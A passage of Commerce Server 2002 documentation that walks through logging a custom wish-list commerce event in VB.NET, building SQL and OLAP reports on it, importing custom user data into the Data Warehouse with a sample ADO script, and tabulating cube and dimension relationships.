  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In Visual Studio .NET, on the File menu, point to Open, and then click Projects.
  3. In the Open Project dialog box, navigate to <drive>:/Inetput/wwwroot/retail2002, select Retail2002.sln, and then click Open.

    The Retail2002 site opens in the Visual Studio .NET window.

  4. On the Project menu, click Add New Item.
  5. In the Add New Item – Retail2002 dialog box, in the Templates section, select Class, type Wishlist.vb in the Name window, and then click Open.
  6. On the Edit menu, click Select All, and then press the Delete key.
  7. Paste the following code into the Wishlist.vb page:
    Imports Microsoft.CommerceServer.Runtime

<CommerceEvent("WISH")> _
Public Class MyWishListEvent : Inherits BaseCommerceEvent

    ' Visual Basic .NET is case insensitive,
    ' so you must make these names unique
    ' from the public property names
    Private _myCustomValue As String
    Private _myPRID As String
    Private _myQTY As String
    Private _myLN As String
    Private _myEvent As String

    'Constructor
    Public Sub New(ByVal customValue As String)

        _myCustomValue = customValue

    End Sub

    'Body of BaseCommerceEvent.Validate() method
    Public Overrides Function Validate() As Boolean
        'noop validation
        Return True
    End Function

    'Define event properties

    <CommerceEventMember("EVT")> _
    Public Property MyEvent() As String

        Get
            Return _myEvent
        End Get

        Set(ByVal value As String)
            _myEvent = value
        End Set

    End Property

    <CommerceEventMember("PRID")> _
    Public Property MyPRID() As String

        Get
            Return _myPRID
        End Get

        Set(ByVal value As String)
            _myPRID = value
        End Set

    End Property

    <CommerceEventMember("QTY")> _
    Public Property MyQTY() As String

        Get
            Return _myQTY
        End Get

        Set(ByVal value As String)
            _myQTY = value
        End Set

    End Property

    <CommerceEventMember("LN")> _
    Public Property MyLN() As String

        Get
            Return _myLN
        End Get

        Set(ByVal value As String)
            _myLN = value
        End Set

    End Property

End Class
  8. On the Project menu, click Add New Item.
  9. In the Add New Item-Retail2002 dialog box, do the following: In the Add New Item – Retail2002 dialog box, in the Templates section, select WebForm, type Wishlist.aspx in the Name window, and then click Open.
  10. On the View menu, click HTML Source.
  11. On the Edit menu, click Select All, and then press the Delete key.
  12. Paste the following code into the Wishlist.aspx HTML page:
    <%@ Page Language="vb" AutoEventWireup="false" Codebehind="Wishlist.aspx.vb" Inherits="Microsoft.CommerceServer.Site.Wishlist"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
    <HEAD>
        <title>Wishlist</title>
        <meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
        <meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
        <meta name="vs_defaultClientScript" content="JavaScript">
        <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie3-2nav3-0">
    </HEAD>
    <body MS_POSITIONING="GridLayout">
        <TABLE height="297" cellSpacing="0" cellPadding="0" width="266" border="0" ms_2d_layout="TRUE">
            <TR vAlign="top">
                <TD width="266" height="297">
                    <FORM id="Form1" method="post" runat="server">
                        <TABLE height="249" cellSpacing="0" cellPadding="0" width="285" border="0" ms_2d_layout="TRUE">
                            <TR vAlign="top">
                                <TD width="56" height="32"></TD>
                                <TD width="160"></TD>
                                <TD width="69"></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="32"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button1" runat="server" Text="Log Commerce Event 0"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="32"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button2" runat="server" Text="Log Commerce Event 1"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="32"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button3" runat="server" Text="Log Commerce Event 2"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="32"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button4" runat="server" Text="Log Commerce Event 3"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="32"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button5" runat="server" Text="Log Commerce Event 4"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="40"></TD>
                                <TD colSpan="2">
                                    <asp:Button id="Button6" runat="server" Text="Log Commerce Event 5"></asp:Button></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="17"></TD>
                                <TD>
                                    <asp:Label id="Label1" runat="server" Font-Size="Smaller" Font-Names="Arial">Commerce Event logged:</asp:Label></TD>
                            </TR>
                            <TR vAlign="top">
                                <TD height="17"></TD>
                                <TD>
                                    <asp:Label id="EventData" runat="server" Font-Names="Arial" Font-Size="Smaller"></asp:Label></TD>
                            </TR>
                            &nbsp;
                        </TABLE>
                    </FORM>
                </TD>
            </TR>
        </TABLE>
    </body>
</HTML>
  13. In Solution Explorer, click Show All Files button .
  14. In Solution Explorer, expand Wishlist.aspx, and then double-click the code-behind page, Wishlist.aspx.vb.
  15. On the Edit menu, click Select All, and then press the Delete key.
  16. Paste the following code into the Wishlist.aspx.vb page:
    Imports Microsoft.CommerceServer.Runtime

Public Class Wishlist
    Inherits System.Web.UI.Page
    Protected WithEvents Label1 As System.Web.UI.WebControls.Label
    Protected WithEvents Button1 As System.Web.UI.WebControls.Button
    Protected WithEvents Button3 As System.Web.UI.WebControls.Button
    Protected WithEvents Button4 As System.Web.UI.WebControls.Button
    Protected WithEvents Button5 As System.Web.UI.WebControls.Button
    Protected WithEvents Button6 As System.Web.UI.WebControls.Button
    Protected WithEvents EventData As System.Web.UI.WebControls.Label
    Protected WithEvents Button2 As System.Web.UI.WebControls.Button

#Region " Web Form Designer Generated Code "

    'This call is required by the Web Form Designer.
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()

    End Sub

    Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
        'CODEGEN: This method call is required by the Web Form Designer
        'Do not modify it using the code editor.
        InitializeComponent()
    End Sub

#End Region

    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'Put user code to initialize the page here
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        'Create an instance of the new Commerce Event class
        Dim cevt As MyWishListEvent
        cevt = New MyWishListEvent("My Wishlist Event")

        'Set event data
        cevt.MyEvent = "ADDTOLIST"
        cevt.MyPRID = "Bike"
        cevt.MyQTY = "1"
        cevt.MyLN = "Wife"

        'Log event data
        CommerceContext.LogCommerceEvent(cevt)

        'Output event data to the page
        EventData.Text = cevt.ToString()

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim cevt As MyWishListEvent

        cevt = New MyWishListEvent("My Wishlist Event")
        cevt.MyEvent = "ADDTOLIST"
        cevt.MyPRID = "HolidayCD"
        cevt.MyQTY = "1"
        cevt.MyLN = "Holidays"

        CommerceContext.LogCommerceEvent(cevt)
        EventData.Text = cevt.ToString()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim cevt As MyWishListEvent

        cevt = New MyWishListEvent("My Wishlist Event")
        cevt.MyEvent = "ADDTOLIST"
        cevt.MyPRID = "Printer"
        cevt.MyQTY = "1"
        cevt.MyLN = "Wife"

        CommerceContext.LogCommerceEvent(cevt)
        EventData.Text = cevt.ToString()
    End Sub

    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Dim cevt As MyWishListEvent

        cevt = New MyWishListEvent("My Wishlist Event")
        cevt.MyEvent = "DROPFROMLIST"
        cevt.MyPRID = "Printer"
        cevt.MyQTY = "1"
        cevt.MyLN = "Wife"

        CommerceContext.LogCommerceEvent(cevt)
        EventData.Text = cevt.ToString()
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        Dim cevt As MyWishListEvent

        cevt = New MyWishListEvent("My Wishlist Event")
        cevt.MyEvent = "ADDTOLIST"
        cevt.MyPRID = "JazzCD"
        cevt.MyQTY = "1"
        cevt.MyLN = "Brother"

        CommerceContext.LogCommerceEvent(cevt)
        EventData.Text = cevt.ToString()
    End Sub

    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        Dim cevt As MyWishListEvent

        cevt = New MyWishListEvent("My Wishlist Event")
        cevt.MyEvent = "DROPFROMLIST"
        cevt.MyPRID = "Stonewashed Jeans"
        cevt.MyQTY = "1"
        cevt.MyLN = "Kid"

        CommerceContext.LogCommerceEvent(cevt)
        EventData.Text = cevt.ToString()
    End Sub
End Class
  17. In Solution Explorer, double click Web.config.
  18. Update the Commerce Event section with your new class information. Replace the contents of the Commerce Event section with the following code. Notice that the following code contains the fully-qualified assembly name for the first three entries, the original code did not:
    <commerceEvent>
<add className="Microsoft.CommerceServer.Runtime.AddItemToBasketEvent, Microsoft.CommerceServer.Runtime, Version=4.5.2002.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" loggingEnabled="true"/>
<add className="Microsoft.CommerceServer.Runtime.RemoveItemFromBasketEvent, Microsoft.CommerceServer.Runtime, Version=4.5.2002.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" loggingEnabled="true"/>
<add className="Microsoft.CommerceServer.Runtime.SubmitOrderEvent, Microsoft.CommerceServer.Runtime, Version=4.5.2002.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" loggingEnabled="true"/>
<add className="Microsoft.CommerceServer.Site.MyWishListEvent, Microsoft.CommerceServer.Retail2002" loggingEnabled="true" />
</commerceEvent>
  19. On the Build menu, click Build Solution.

    The build process may take a few minutes. The build process is complete when the following message appears on the Output tab:

    ---------------------- Done ----------------------

    Build: 10 succeeded, 0 failed, 0 skipped
  20. To close Visual Studio .NET, on the File menu, click Exit.
  21. After the project is built, click Start, point to Programs, and then click Internet Explorer.
  22. Navigate to the SampleEventData.asp page, for example, http://localhost/retail2002/Wishlist.aspx.
  23. To add each event to the log file, click each Log Commerce Event button on the page. Add as many events to the log file as you want. Adding more events to the log file means there will be more events to report on later. You can add multiple instances of the same event.

    To view the log file in which the event information was stored, open the log file for the appropriate day from the log file directory, for example, C:\WINNT\system32\LogFiles\W3SVC1.

  24. To close Internet Explorer, on the File menu, click Close.

To make the current log file available for reports

  • You must stop and restart IIS to make the current log file available for reporting. For more information about stopping and restarting IIS, see To restart IIS using Net Stop and Net Start.

Notes

  • Before creating a new report, you must run the Configuration synchronization Data Transformation Services (DTS) task, the Web server log import DTS task, and the Report preparation DTS task. For more information about running these DTS tasks, see Running the Configuration Synchronization DTS Task, Running the Web Server Log Import DTS Task, and Running the Report Preparation DTS Task, respectively.
  • All World Wide Web Consortium (W3C) log files are logged in Greenwich Mean Time (GMT), and the correction for your time zone occurs when the Web server log import DTS task is run. When running the Web server log import DTS task to import the sample event data, you will need to use the Logs by date/time range option to select the log file for the following day if the time zone for your server is not within the same day as the current time in GMT. For example, if the current time for your server is 8:00 pm on 3/1/2002, and the time in GMT is 2:00 am on 3/2/2002, the sample event data appears in the 3/2/2002 log file.
  • Before you can create a Custom Commerce Event report based on an SQL Query, you must ensure that your sample data was successfully imported into the Wishlist01 table of the Data Warehouse.

To create a Custom Commerce Event report based on an SQL Query

  1. Open the Business Desk for the site.
  2. In Business Desk, click Analysis, and then click Reports.
  3. Click New on the report toolbar to create your new report.
  4. In the Create a new report - Web Page Dialog screen, do the following:
    Use this | To do this
    Report Type | Select SQL.
    SQL Query | Type Select * from wishlist01.

    Note

    • If the PivotTable Field List does not appear automatically when you open the table, click Field List on the PivotTable toolbar to view the PivotTable Field List.
  5. Drag ProductNameCat from the PivotTable Field List and drop it into the Drop Row Fields Here box on the PivotTable.
  6. Drag Event from the PivotTable Field List and drop it into the Drop Column Fields Here box on the PivotTable.
  7. Select the Event column, click AutoCalc on the PivotTable toolbar, and then select Count from the drop-down list.

    The total number of events for each product appears in the Grand Total column in the PivotTable.

  8. On the PivotTable, click Show/Hide Details.

    The total number of times each product was added and deleted from the list appears in the addtolist and dropfromlist columns.

  9. Click Show Chart on the toolbar to view the chart.

    The chart for the data appears below the pivot table.

  10. In the New Report screen, click Save Report on the toolbar.
  11. In the Save a report—Web Page Dialog screen, do the following:
    Use this | To do this
    Report Name | Type the name of the new report.
    Report Category | Type the report category.
    Report Description | Type a description for the new report.
    Report Long Description | Optional. Type a longer description for the report. This description will be visible in the browser window above the PivotTable controls when you click Show description above the PivotTable controls.
  12. Click OK.

    Important

    When you save a new report, you are saving the report definition, not the data. The next time you run the report, it will have the same rows, columns, and filters, and current data will be queried from Microsoft SQL Server 2000 as specified in the report definition.

  13. On the File menu, click Close.

Note

  • For more information about working with PivotTables, click Pivot Help on the PivotTable toolbar.

To create a Custom Commerce Event report based on an OLAP cube

  1. Click Start, point to Programs, point to Administrative Tools, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand the Analysis Servers node, expand the node for the local server, right-click the Data Warehouse you extended for wish list events, point to New Cube, and then click Wizard.
  3. In the Cube Wizard screen, click Next.
  4. In the Select a fact table from a data source screen, in the Data sources and tables section, select Wishlist01, and then click Next.
  5. In the Select the numeric columns that define your measures screen, in the Fact table numeric columns section, select Quantity, click the right arrow button, select Request Index, click the right arrow button, select Uri Key, click the right arrow button, select User Key, click the right arrow button, and then click Next.
  6. In the Select the dimensions for your cube screen, click New Dimension.
  7. In the Dimension Wizard screen, click Next.
  8. In the Choose how you want to create the dimension dialog box, select Star Schema: A single dimension table, and then click Next.
  9. In the Select the dimension table screen, select Wishlist01, and then click Next.
  10. In the Select the dimension type screen, select Standard dimension, and then click Next.
  11. In the Select the levels for your dimension screen, select ProductNameCat, click the right arrow button, and then click Next.
  12. In the Specify the member key columns screen, click Next.
  13. In the Select advanced options screen, click Next.
  14. In the Finish the Dimension Wizard screen, in the Dimension name box, type ProductNameCat, and then click Finish.
  15. In the Cube Wizard, in the Select the dimensions from your cube screen, click New Dimension again to create a second dimension.
  16. Repeat steps 8 through 10.
  17. In the Select the levels for your dimension screen, select Event, click the right arrow button, and then click Next.
  18. Repeat steps 12 and 13.
  19. In the Finish the Dimension Wizard screen, in the Dimension name box, type Event, and then click Finish.
  20. In the Select the dimensions for your cube screen, click Next.
  21. In the Finish the Cube Wizard screen, in the Cube Name box, type Wishlist Activity, and then click Finish.

    The Cube Editor screen appears, displaying the schema of the Wishlist Activity cube.

  22. In the Cube Editor screen, on the File menu, click Exit.
  23. In the Tree tab of Commerce Server Manager, expand Cubes, right-click Wishlist Activity, and then click Process.
  24. In the Process a Cube dialog box, accept the defaults and click OK.
  25. In the Process dialog box, click Close.
  26. In Commerce Server Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand the node for the local server, expand Databases, expand the node for the Data Warehouse that is being extended, and then click Tables.
  27. In the details pane on the right side of the screen, right-click CubeProcInfo, point to Open Table, and then click Return all rows.

    The contents of the CubeProcInfo table are displayed.

  28. In the bottom row of the CubeProcInfo table, type the following information in the Entry column of the following table for each associated column:
    Column name | Entry
    CubeName | Wishlist Activity
    IncEnabled | 1
    IsVirtual | 1
    Optimization | <NULL>
    ProcessingEnabled | 1
    AutoPartition | 1
    FactTable | dbo.Wishlist01
    ProcessingKeySource | dbo.ProductNameCat
    ProcessingKey | ProductNameCat
    PartitionKeySource | dbo.Wishlist01
    PartitioningKey | ProductNameCat
    PartitionSize | <NULL>
    ProcessingPass | 0
  29. To exit the CubeProcInfo table, click the close button in the upper-right corner.
  30. Before creating the report, you must run the Configuration synchronization DTS task, the Web server log import DTS task, and the Report preparation DTS task. For more information about running these tasks, see Running the Configuration Synchronization DTS Task, Running the Web Server Log Import DTS Task, and Running the Report Preparation DTS Task, respectively.
  31. Open the Business Desk for the site.
  32. In Business Desk, click Analysis, and then click Reports.
  33. Click Add on the report toolbar to create your new report.
  34. In the Create a new report - Web Page Dialog screen, do the following:
    Use this | To do this
    Report Type | Select OLAP.
    Cube Name | Select Wishlist Activity from the drop-down list.
    MDX Query | Leave blank.

    Note

    • If the PivotTable Field List does not appear automatically when you open the table, click PivotTable Field List on the PivotTable toolbar to view the PivotTable Field List.
  35. Drag ProductNameCat from the PivotTable Field List and drop it into the Drop Row Fields Here box on the PivotTable.
  36. Drag Event from the PivotTable Field List and drop it into the Drop Column Fields Here box on the PivotTable.
  37. Drag Quantity from the PivotTable Field List and drop it into the Drop Totals or Detail Fields Here box on the PivotTable.

    The total number of events for each product appears in the Grand Total column in the PivotTable.

  38. Click Show Chart on the toolbar to view the chart.

    The chart for the data appears below the pivot table.

  39. On the New Report page, click Save Report on the toolbar.
  40. In the Save a report—Web Page Dialog screen, do the following:
    Use this | To do this
    Report Name | Type the name of the new report.
    Report Category | Type the report category.
    Report Description | Type a description for the new report.
    Report Long Description | Optional. Type a longer description for the report. This description will be visible in the browser above the PivotTable controls when you click Show description above the PivotTable controls.
  41. Click OK.

    Important

    • When you save a new report, you are saving the report definition, not the data. The next time you run the report, it will have the same rows, columns, and filters, and current data will be queried from Microsoft SQL Server 2000 Analysis Services (OLAP) as specified in the report definition.
  42. On the File menu, click Close.

Note

  • For more information about working with PivotTables, click Pivot Help on the PivotTable toolbar.

See Also

Creating a New Dynamic Report Definition


Importing Custom Data into the Data Warehouse

This section describes how to import custom data into the Data Warehouse by using Microsoft Visual Basic Scripting Edition (VBScript).

There are five steps to the custom import process:

  1. Reduce the import data set to include only essential data by clearly defining the purpose of the data import. The import time is directly proportional to the amount of data.
  2. Match the essential data in the line-of-business (LOB) store or log file to existing structures in the Data Warehouse. For example, if user data is required, use the RegisteredUser class to hold the data.
  3. Extend the Data Warehouse schema to incorporate LOB data not available in existing structures. For example, if the purpose of the data import is to analyze the favorite ice cream flavors of registered users, then a fav_flavor_code data member can be added to the RegisteredUser class. Only extend the existing schema if absolutely necessary.
  4. Parse the LOB data into an intermediate form. This is called staging the data. It increases the reliability of the import and reduces the time spent interacting with the Data Warehouse server. Extract the essential data and place it in a format conducive to direct import into the Data Warehouse schema.
  5. Create a process to import the data from the staging area into the Data Warehouse. Use the OLE DB Provider for Commerce Server to import the data into the Data Warehouse schema.

A running example is used to explain this process. The example involves an ice cream company with a volume of user data. The goal is to use the Data Warehouse to analyze the regional distribution of favorite ice cream flavors.

This section contains:

  • Planning a Custom Import Task
  • Preparing the Data Warehouse
  • Staging the Data
  • Executing the Custom Import Task

See Also

Extending the Data Warehouse Logical Schema


Planning a Custom Import Task

This topic discusses the first two steps in the process of importing custom data into the Commerce Server 2002 Data Warehouse.

A running example is used to explain this process. The example involves an ice cream company with a volume of user data in log files. The company wants to extract information about customers who registered on their Web site over the last year. Part of the registration process for users involved answering a questionnaire about their favorite flavor of ice cream. To enhance local promotions, the company wants to analyze the regional distribution of favorite flavors.

The log files contain the data in the following table.

Data property name | Example values
Title | "Mr" "Ms" "Dr"
FullName | "Kevin Verboort"
Email_Address | "someone@microsoft.com
TelNum | "800 123-4567x123"
FaxNum | "800 123-4567x321"
AddressLine1 | "Public's Animal Shelter"
AddressLine2 | "223 Normal Coast Way, #85"
City | "Everytown"
State | "WA"
ZipCode | "98434-3424"
Fav_Flavor_Code | 34
Fav_Flavor_Comments | "Can never get enough chocolate!"

The goal is to analyze the regional distribution of favorite flavors. This will require, at minimum, the data from the State and Fav_Flavor_Code properties. Because the company wants a more granular distribution, the data from the City property must also be included.

To promote the product, the names and e-mail addresses of the registered users are required. This will allow the company to send customized direct mailings to their customers.

The following table contains the list of essential data.

Data property name | Data type
Title | String
FullName | String
Email_address | String
City | String
State | String
Fav_Flavor_Code | Integer (unsigned)

This completes the first step.

The second step involves finding a structure in the Data Warehouse schema that fits this data. The RegisteredUser structure in the Profiles category of the Data Warehouse logical schema is the closest match.

The RegisteredUser class contains data members for title (UserTitle), name (FirstName, LastName), and e-mail address (Email). It does not contain data members for city, state, or favorite ice cream flavor. The following table shows the match between the log data and the Data Warehouse structure.

Source data | RegisteredUser data member
Commerce.GenID object | UserID
Log data: Title | UserTitle
Log data: FullName | FirstName, LastName
Log data: Email_Address | Email
Log data: City | New Data Member: City
Log data: State | New Data Member: State
Log data: Fav_Flavor_Code | New Data Member: Fav_Flavor_Code

The final essential data member is the unique key for the RegisteredUser class. This key is the UserId data member, which is a universally unique identifier (UUID). In order to fit custom data into the Commerce Server 2002 Data Warehouse, this key must be correctly assigned. Commerce Server 2002 provides a UUID generator. The Commerce.GenID object creates the UUIDs used by the Commerce Server 2002 Profiling System to identify users. Using this object to create the UserID keys for the import data guarantees compatibility with any existing data or future data imported into the Data Warehouse.

This completes the data required to create valid RegisteredUser objects containing the necessary information.

For the next step, see Preparing the Data Warehouse.


Preparing the Data Warehouse

This topic discusses the third step in the process of importing custom data into the Commerce Server 2002 Data Warehouse. For the previous two steps, see Planning a Custom Import Task. In the second step, it was determined that the RegisteredUser class must be extended to encompass line-of-business (LOB) data. Specifically, three new data members are needed: City, State, and Fav_Flavor_Code.

Caution

  • Extend the existing Data Warehouse schema only if absolutely necessary. Any changes made to the Data Warehouse are irreversible.

The process of adding data members to an existing class is detailed in Creating a New Class Data Member. The Member meta-data attribute settings are summarized in the following table.

Member attribute | City | State | Fav_Flavor_Code
MemberName | "City" | "State" | "Fav_Flavor_Code"
TypeName | "String" | "String" | "ULONG"
IsPrimaryKey | 0 | 0 | 0
IsExported | 0 | 0 | 0
IsActive | 0 | 0 | 0
IsPersistent | 1 | 1 | 1
GenerateColumnDef | 1 | 1 | 1
Description | "User Loc:City" | "User Loc:State" | "Ice Cream Flavor"

The new data members have now been added to the RegisteredUser class.

For the next step, see Staging the Data.


Staging the Data

This topic discusses the fourth step in the process of importing custom data into the Commerce Server 2002 Data Warehouse. For the previous step, see Preparing the Data Warehouse.

The main task in staging the data involves extracting the pertinent information from the data source. This information is formatted for direct import into the Data Warehouse schema structure.

The following table summarizes the source, process, and destination for the data.

Source data (existing log file or commerce object) | Processing | Destination (new staged data file)
Title (string) | Copy | UserTitle (string)
Fullname (string) | Parse First Name | FirstName (string)
FullName (string) | Parse Last Name | LastName (string)
Email_address (string) | Copy | Email (string)
City (string) | Copy | City (string)
State (string) | Copy | State (string)
Fav_Flavor_Code (Integer) | Convert to ULONG | Fav_Flavor_Code (ULONG)

As the input log file is processed, keep track of the number of entries. This will help to simplify the last step in the import process.

For the running example, the data in the staged data file is grouped by user. The final step requires a function that can extract the next data value from the staged data file. No effort is made in this example to optimize the processing.

The data is now staged and ready for import. For the final step, see Executing the Custom Import Task.


Executing the Custom Import Task

This topic discusses the final step in the process of importing custom data into the Commerce Server 2002 Data Warehouse. For the previous step, see Staging the Data.

This step involves creating a custom ADO script to read data from the staged data file and insert it into the Data Warehouse schema structure. It relies on the OLE DB Provider for Commerce Server to ensure the correct mapping of data. This process is not optimized. The use of a script is not recommended for large import tasks; it appears here for demonstration purposes only.

The use of the following ADO script requires the existence of a parser function, GetNextValue, to extract the next value from the staged data file. The format of the staged file is assumed to fit the following pattern:

#users
user1title user1fname user1lname user1email user1city user1state user1ffc
user2title user2fname user2lname ...

The ADO script uses the OLE DB Provider for Commerce Server. The provider creates the necessary key values for each entry in the database; it also properly formats and partitions the data to the underlying data store. It is highly recommended that you use the OLE DB Provider for Commerce Server instead of manipulating the data store directly.

'Create the ADO DB record object.
   Dim rec
   Set rec = CreateObject("ADODB.Record")

'Create the ADO DB Connection object.
   Dim cnnConnection
   Set cnnConnection = CreateObject("ADODB.Connection")

'Create the connection string.
'The "fastload=true:" option is required.
   Dim strConn
   strConn = "URL=mscop://InProcConnect/Server=DWServer:" & _
    "catalog=dwschema:database=Retail_dw:" & _
   "Trusted_Connection=Yes:fastload=true:"

'Connect to the Data Warehouse.
   cnnConnection.Open strConn

'Retrieve the number of users to process.
   Dim nUsers
   nUsers = GetNextValue()

'Instantiate the commerce GUID generator.
   Dim oGenID
   Set oGenID = CreateObject("Commerce.GenID")

'Iterate through the users.
   Dim i
   For i = 0 to nUsers

      'Create a new blank RegisteredUser row.
      rec.Open "instance/registereduser", cnnConnection, _
       adModeWrite, adCreateCollection

      'Create the GUID.
      rec("UserID") = oGenID.GenGUIDString()

      'Get user title.
      rec("title") = GetNextValue()

      'Get user first name.
      rec("firstname") = GetNextValue()

      'Get user last name.
      rec("lastname") = GetNextValue()

      'Repeat for email, city, and state.

      'Get fav_flavor_code.
      rec("fav_flavor_code") = GetNextValue()

      'Bookkeeping.
      rec("UserIDChangedBy") = "DW Custom Import"
      rec("DateCreated") = Cdate(Now())
      rec("DateLastChanged") = Cdate(Now())

      'Save the new row.
      rec("__Commit") = 1
      rec.Fields.Update

      'Done with current user.
      rec.Close
   Next

'Close the connection and release the objects.
   cnnConnection.Close
   Set oGenID = Nothing
   Set cnnConnection = Nothing


Data Warehouse Relationship Tables

Understanding the existing relationships in the Commerce Server Data Warehouse can simplify the process of extending the Data Warehouse. If the cubes and reports in Commerce Server 2002 do not meet the particular needs of the site, it is often simpler to extend the existing cubes and reports than to create new cubes and reports. By determining cubes and reports that most closely meet the analytical needs of the site, you can then modify or create new cubes and reports based on existing cubes and reports.

For more information about customizing reports, see Customizing Reports.

This section contains:

  • Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports.
  • Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse


Relationships Among Data Warehouse Cubes, Dimensions, Source Tables, and Reports

The following table lists the Commerce Server Data Warehouse cubes and associated dimensions, the source table for the cube, and the reports that use the cube.

Note

  • Virtual cubes are listed in Bold type.
Cube Dimensions Source tables Reports Stored procedures
Bandwidth DateHour
Day of Week
Hour of Day
Site 		HitsByHour
  • Bandwidth Summary
  • Bandwidth Trends
Basket Events DateHour
Events
ProductCategory

Site
UserType

 csdw_BasketEventsFactView
  • Shopping Basket Events
  • Csdw_MakeProductCategoryInfo builds tables used to create the ProductCategory dimension.
  • Csdw_MakeBasketEventsFactTable regenerates the fact table view for the BasketEvents cube.
Buyer Visits BuyerVisits
Site
UserType 		UserBrowsingtoPurchaseFactView
  • Buyer Browse to Purchase
Entry Pages Date
Site
URI 		FirstUriByDate
  • Entry Pages
  • Csdw_MakeAggRequestsByURI builds tables used to create the URI dimension.
Exit Pages Date
Site
URI 		LastUriByDate
  • Exit Pages
  • Csdw_MakeAggRequestsByURI builds a table used to create the URI dimension.
mscsCampaign Advertiser
DateHour
Events
Page Group
Site
UserType 		mscsCampaignEvents

mscsOrderedImpressions
  • Ad Reach and Frequency by Date
  • Ad Reach and Frequency per Advertiser
  • Campaign Event Summary
  • Campaign Item Summary
mscsCampaignEvents Advertiser
DateHour
Events
Page Group
Site
User Type 		dbo.csdw_CampaignEventsFactView
mscsDateIntersect Date
Hour of Day
Day of Week
Week of Year 		csdw_DateFactView
  • Csdw_Datefill ensures that every hour between the minimum and maximum date in the csdw_DateFactView table has an entry in the Date table.
mscsOrderedImpressions Advertiser
Site 		dbo.csdw_OrderedImpressionsFactView
mscsSales Address
Currency
Date
ProductCategory
Site
UserType 		dbo.csdw_SalesFactView
  • Product Sales
  • Csdw_MakeProductCategoryInfo builds tables used to create the ProductCategory dimension.
  • Csdw_MakeSalesFactTable regenerates the fact table view for the Sales cube.
mscsVisitInfo BrowserOS
BrowserType
Date
DateHour
Day of Week
Hour of Day
Referrer
Site
UserType
Week of Year 		dbo.csdw_VisitInfoFactView
mscsWebUsage BrowserOS
BrowserType
Date
DateHour
Day of Week
Hour of Day
Referrer
Site
UserType
Week of Year 		mscsDateIntersect

mscsVisitInfo
  • Activity by Browser
  • Distinct Users By Time
  • General Activity Statistics
  • Top Referring Domains by Request
  • Usage Summary by Day of Week
  • Usage Summary by Hour of Day
  • Usage Summary by Week of Year
  • Usage Trends
  • User Trends
  • User Visit Trends
OrderEvents DateHour
Day of Week
Events
Hour of Day
Site
UserType
Week of Year 		Order
  • Order Events
Page Usage Date
HTTP Status
Is Request
Level Directory
Site
URI
Win32Status 		HitsInfo
  • Directories
  • Hits by HTTP Status
  • Hits by Win32 Status
  • Top Requested Pages
  • Csdw_MakeAggRequestsByURI builds a table used to create the URI dimension.

See Also

Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse

OLAP Cubes

Commerce Server 2002 Reports

Customizing Reports


Relationships Among Dimensions, Source Tables, and Stored Procedures in the Data Warehouse

The following table lists the Commerce Server dimensions and the source tables for each dimension.

Dimensions | Source table | Stored procedure
Address | dbo.Address |
Advertiser | Campaign CampaignItemDimensionView Customer |
BrowserOS | UserAgentOperatingSystem |
BrowserType | dbo.UserAgent dbo.UserAgentBrowserCategory dbo.UserAgentVersion | Csdw_MakeUserAgentData updates the dbo.UserAgent table with information about known browsers.
BuyerType | csdw_BuyerTypeDimensionView |
Currency | dbo.CurrencyCode |
Date | DateDimensionView | Csdw_Datefill ensures that every hour between the minimum and maximum date in the DateDimensionView table has an entry in the Date table.
DateHour | DateDimensionView | Csdw_Datefill ensures that every hour between the minimum and maximum date in the DateDimensionView table has an entry in the Date table.
Day of Week | DateDimensionView | Csdw_Datefill ensures that every hour between the minimum and maximum date in the DateDimensionView table has an entry in the Date table.
Events | EventsDimensionView |
Hour of Day | DateDimensionView | Csdw_Datefill ensures that every hour between the minimum and maximum date in the DateDimensionView table has an entry in the Date table.
Http Status | HttpStatus |
Level Directory | dbo.LevelDir Level1Dir Level2Dir Level3Dir Level4Dir Level5Dir Level6Dir URI |
Page Group | PageGroupDimensionView |
Is Request | IsRequestDimensionView |
ProductCategory | dbo.csdw_CategoryTree | Csdw_MakeProductCategoryInfo builds tables used to create ProductCategory dimension
Referrer | ReferrerDomain |
Site | SiteDimensionView |
Uri | RequestsByUri | Csdw_MakeAggRequestsByURI builds a table used to create the URI dimension.
UserType | dbo.csdw_UserTypeDimensionView |
